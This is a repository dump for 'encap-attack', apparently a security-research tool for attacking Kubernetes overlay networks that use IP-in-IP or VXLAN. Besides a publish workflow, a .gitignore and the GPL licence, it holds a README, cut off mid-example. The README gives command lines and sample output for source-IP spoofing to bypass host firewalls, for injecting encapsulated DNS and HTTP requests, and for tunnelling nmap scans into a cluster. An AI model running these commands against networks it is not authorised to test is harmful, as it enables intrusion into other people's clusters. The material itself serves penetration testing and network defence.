├── .github └── workflows │ └── python-publish.yml ├── .gitignore ├── LICENSE ├── README.md ├── pyproject.toml └── src └── encap_attack ├── __init__.py ├── tool.py └── utils ├── __init__.py ├── encapsulation_models.py ├── util_models.py └── utils.py /.github/workflows/python-publish.yml: -------------------------------------------------------------------------------- 1 | # This workflow will upload a Python Package using Twine when a release is created 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python#publishing-to-package-registries 3 | 4 | # This workflow uses actions that are not certified by GitHub. 5 | # They are provided by a third-party and are governed by 6 | # separate terms of service, privacy policy, and support 7 | # documentation. 8 | 9 | name: Upload Python Package 10 | 11 | on: push 12 | 13 | permissions: 14 | contents: read 15 | 16 | jobs: 17 | build: 18 | name: Build distribution 19 | runs-on: ubuntu-latest 20 | steps: 21 | - uses: actions/checkout@v4 22 | - name: Set up Python 23 | uses: actions/setup-python@v5 24 | with: 25 | python-version: '3.x' 26 | - name: Install pypa/build 27 | run: python3 -m pip install build --user 28 | - name: Build a binary wheel and a source tarball 29 | run: python3 -m build 30 | - name: Store the distribution packages 31 | uses: actions/upload-artifact@v4 32 | with: 33 | name: python-package-distributions 34 | path: dist/ 35 | 36 | publish-to-pypi: 37 | name: Publish Python distribution to PyPI 38 | if: startsWith(github.ref, 'refs/tags/') # only publish to PyPI on tag pushes 39 | needs: 40 | - build 41 | runs-on: ubuntu-latest 42 | environment: 43 | name: pypi 44 | url: https://pypi.org/p/encap-attack 45 | permissions: 46 | id-token: write 47 | steps: 48 | - name: Download all the dists 49 | uses: actions/download-artifact@v4 50 | with: 51 | name: python-package-distributions 52 | path: dist/ 53 | - name: Publish distribution to PyPI 54 | uses: pypa/gh-action-pypi-publish@release/v1 55 | 56 | github-release: 57 | name: Sign the Python distribution with Sigstore and upload to GitHub Releases 58 | needs: 59 | - publish-to-pypi 60 | runs-on: ubuntu-latest 61 | 62 | permissions: 63 | contents: write 64 | id-token: write 65 | 66 | steps: 67 | - name: Download all the dists 68 | uses: actions/download-artifact@v4 69 | with: 70 | name: python-package-distributions 71 | path: dist/ 72 | - name: Sign the dists with Sigstore 73 | uses: sigstore/gh-action-sigstore-python@v3.0.0 74 | with: 75 | inputs: >- 76 | ./dist/*.tar.gz 77 | ./dist/*.whl 78 | - name: Create GitHub Release 79 | env: 80 | GITHUB_TOKEN: ${{ github.token }} 81 | run: >- 82 | gh release create 83 | '${{ github.ref_name }}' 84 | --repo '${{ github.repository }}' 85 | --notes "" 86 | - name: Upload artifact signatures to GitHub Release 87 | env: 88 | GITHUB_TOKEN: ${{ github.token }} 89 | # Upload to GitHub Release using the `gh` CLI. 90 | # `dist/` contains the built packages, and the 91 | # sigstore-produced signatures and certificates. 92 | run: >- 93 | gh release upload 94 | '${{ github.ref_name }}' dist/** 95 | --repo '${{ github.repository }}' 96 | 97 | 98 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/latest/usage/project/#working-with-version-control 110 | .pdm.toml 111 | .pdm-python 112 | .pdm-build/ 113 | 114 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 115 | __pypackages__/ 116 | 117 | # Celery stuff 118 | celerybeat-schedule 119 | celerybeat.pid 120 | 121 | # SageMath parsed files 122 | *.sage.py 123 | 124 | # Environments 125 | .env 126 | .venv 127 | env/ 128 | venv/ 129 | ENV/ 130 | env.bak/ 131 | venv.bak/ 132 | 133 | # Spyder project settings 134 | .spyderproject 135 | .spyproject 136 | 137 | # Rope project settings 138 | .ropeproject 139 | 140 | # mkdocs documentation 141 | /site 142 | 143 | # mypy 144 | .mypy_cache/ 145 | .dmypy.json 146 | dmypy.json 147 | 148 | # Pyre type checker 149 | .pyre/ 150 | 151 | # pytype static type analyzer 152 | .pytype/ 153 | 154 | # Cython debug symbols 155 | cython_debug/ 156 | 157 | # PyCharm 158 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 159 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 160 | # and can be added to the global gitignore or merged into this file. For a more nuclear 161 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 162 | #.idea/ 163 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Encap-Attack: Encapsulated Network Attacks 2 | 3 | Sniff and attack networks that use IP-in-IP or VXLAN encapsulation protocols. 4 | 5 | ## Requirements 6 | 7 | - Python 8 | - `ip` 9 | - `iptables` 10 | 11 | ## Installation 12 | 13 | ```shell 14 | pip3 install encap-attack 15 | encap-attack --help 16 | ``` 17 | 18 | ### Development installation 19 | 20 | ```shell 21 | git clone https://github.com/WithSecureLabs/encap-attack.git 22 | cd encap-attack 23 | python3 -m venv venv 24 | sudo su 25 | source venv/bin/activate 26 | pip3 install . 27 | encap-attack --help 28 | ``` 29 | 30 | ## Usage 31 | 32 | Here are some basic usage examples of the tool. More options are available for each command and subcommand, documented by the `--help` options. For example, `encap-attack vxlan --help` or `encap-attack vxlan tunnel --help`. 33 | 34 | All commands can be run in verbose mode using the `-v` flag after `encap-attack`. For example, `encap-attack -v detect`. 35 | 36 | ### Sniffing encapsulated network traffic - `detect` 37 | 38 | The tool can listen for encapsulated traffic on the network, and extract information about the encapsulation being used. This will only return information if encapsulated traffic is detected, or if running in verbose mode. To sniff traffic, run: 39 | 40 | ```shell 41 | encap-attack detect 42 | ``` 43 | 44 | ### Obtain information about a Kubernetes cluster - `kubeintel` 45 | 46 | Kubernetes intelligence functionality uses the `kubeintel` subcommand. 47 | 48 | To extract a predicted service IP range and CoreDNS address, and optionally attempt to connect to it using IP-in-IP, two commands exist: `kubeintel guess-cidr` and `kubeintel attempt-ipip`. 49 | 50 | To guess the service CIDR: 51 | 52 | ```shell 53 | encap-attack kubeintel guess-cidr 54 | ``` 55 | 56 | To guess the service CIDR and attempt to connect to CoreDNS using IP-in-IP, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the `-s` flag: 57 | 58 | ```shell 59 | encap-attack kubeintel attempt-ipip -a -s 60 | ``` 61 | 62 | Example: 63 | 64 | ```shell 65 | encap-attack kubeintel attempt-ipip -a 192.168.124.9 -s 192.168.124.11 66 | ``` 67 | 68 | The tool will also provide `kubectl` commands to extract pod/service IP ranges and VXLAN network information from a Kubernetes cluster, with `encap-attack kubeintel get-ip-ranges` and `encap-attack kubeintel get-net-info`, respectively. The `kubectl` commands provided will output the information needed to simulate encapsulated packets to the overlay network. 69 | 70 | ### Attack an IP-in-IP network - `ipip` 71 | 72 | IP-in-IP functionality uses the `ipip` subcommand. 73 | 74 | You must ensure the intermediary destination node (`-d` flag) is that on which the target pods reside. If the pods run on a different node, you will receive no response. 75 | 76 | To send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the `-s` flag: 77 | 78 | ```shell 79 | encap-attack ipip -d -s request -di dns -t 80 | ``` 81 | 82 | Example: 83 | 84 | ``` 85 | # encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local 86 | Running in IP-in-IP mode 87 | 88 | Interface IP: 192.168.124.200 89 | 90 | Sending DNS packet: Ether / IP / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" 91 | 92 | Response: 93 | kube-dns.kube-system.svc.cluster.local: 10.96.0.10 94 | ``` 95 | 96 | For an HTTP request: 97 | 98 | ```shell 99 | encap-attack ipip -d -s request -di http "" 100 | ``` 101 | 102 | Example: 103 | 104 | ``` 105 | # encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 request -di 10.100.99.5 http "GET / HTTP/1.1\r\nHost: 10.100.99.5" 106 | Running in IP-in-IP mode 107 | 108 | Interface IP: 192.168.124.200 109 | 110 | Sending SYN: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http S 111 | 112 | Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A 113 | 114 | Sending ACK PUSH: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http PA / Raw 115 | 116 | Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A 117 | 118 | Sending FIN ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http FA 119 | 120 | Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A 121 | 122 | Response: 123 | 124 | HTTP/1.1 200 OK 125 | Server: nginx/1.27.1 126 | Date: Fri, 23 Aug 2024 10:35:13 GMT 127 | Content-Type: text/html 128 | Content-Length: 615 129 | Last-Modified: Mon, 12 Aug 2024 14:21:01 GMT 130 | Connection: keep-alive 131 | ETag: "66ba1a4d-267" 132 | Accept-Ranges: bytes 133 | 134 | 135 | 136 | 137 | 138 | Welcome to nginx! 139 | 140 | 141 |

Welcome!

142 | 143 | 144 | ``` 145 | 146 | Alternatively, a tunnel can be configured to route all traffic destined for specific IP ranges into the encapsulated network. The `-a` flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per `kubeintel guess-cidr` above) - and this route will automatically be added to the tunnel. Additional routes can be added with the `-r` flag. Use Ctrl+C to shut down the tunnel. 147 | 148 | ```shell 149 | encap-attack -d -s tunnel -a -r 150 | ``` 151 | 152 | Example: 153 | 154 | ``` 155 | # encap-attack -d 192.168.124.10 -s 192.168.124.11 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16 156 | Running in IP-in-IP mode 157 | 158 | Interface IP: 192.168.124.200 159 | 160 | Kubernetes API server certificate information: 161 | Subject: kube-apiserver 162 | Issuer: kubernetes 163 | IPs: 10.96.0.1, 192.168.124.9 164 | Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master 165 | 166 | Guessed service CIDR: 10.96.0.0/12 167 | kube-dns DNS server may be available at: 10.96.0.10:53 168 | Cluster DNS suffix: cluster.local 169 | 170 | 171 | Starting tunnel tun0, press Ctrl+C to stop... 172 | 173 | 174 | Encapsulating packet: IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" 175 | Sending encapsulated packet: Ether / IP / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" 176 | ``` 177 | 178 | All requests to the defined routes (in this example, `10.2.0.0/16`, `10.3.0.0/16`, and the service IP range guessed from information from the API server - 10.96.0.0/12) will then be encapsulated and routed into the overlay network. This permits the use of other tooling (e.g., `nmap`) within the overlay network from an external perspective: 179 | 180 | ```shell 181 | nmap -sT 10.2.0.0/16 182 | ``` 183 | 184 | ### Attack a VXLAN network - `vxlan` 185 | 186 | VXLAN functionality uses the `vxlan` subcommand. 187 | 188 | The functionality for VXLAN networks is identical to that provided for IP-in-IP networks with the `ipip` command, but requires the additional information needed by the VXLAN protocol, as discussed above. Similar to IP-in-IP, you must ensure the correct destination host/node is used, or you will receive no response. 189 | 190 | To send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the `-s` flag: 191 | 192 | ```shell 193 | encap-attack vxlan -d -s -mi --vni -pd request -di dns -t 194 | ``` 195 | 196 | Example: 197 | 198 | ``` 199 | # encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 -mi aa:bb:cc:dd:ee:ff --vni 4096 -pd 4789 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local 200 | Running in VXLAN mode 201 | 202 | Interface IP: 192.168.124.200 203 | 204 | Sending DNS packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" 205 | 206 | Response: 207 | kube-dns.kube-system.svc.cluster.local: 10.96.0.10 208 | ``` 209 | 210 | For an HTTP request: 211 | 212 | ```shell 213 | encap-attack ipip -d -s -mi --vni -pd request -di http "" 214 | ``` 215 | 216 | Example: 217 | 218 | ``` 219 | # encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 -pd 4789 request -di 10.100.99.5 http "GET / HTTP/1.1\r\nHost:10.100.99.5" 220 | Running in VXLAN mode 221 | 222 | Interface IP: 192.168.124.200 223 | 224 | Sending SYN: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http S 225 | 226 | Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A 227 | 228 | Sending ACK PUSH: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http PA / Raw 229 | 230 | Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A 231 | 232 | Sending FIN ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http FA 233 | 234 | Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A 235 | 236 | Response: 237 | 238 | HTTP/1.1 200 OK 239 | Server: nginx/1.27.1 240 | Date: Fri, 23 Aug 2024 10:35:13 GMT 241 | Content-Type: text/html 242 | Content-Length: 615 243 | Last-Modified: Mon, 12 Aug 2024 14:21:01 GMT 244 | Connection: keep-alive 245 | ETag: "66ba1a4d-267" 246 | Accept-Ranges: bytes 247 | 248 | 249 | 250 | 251 | 252 | Welcome to nginx! 253 | 254 | 255 |

Welcome!

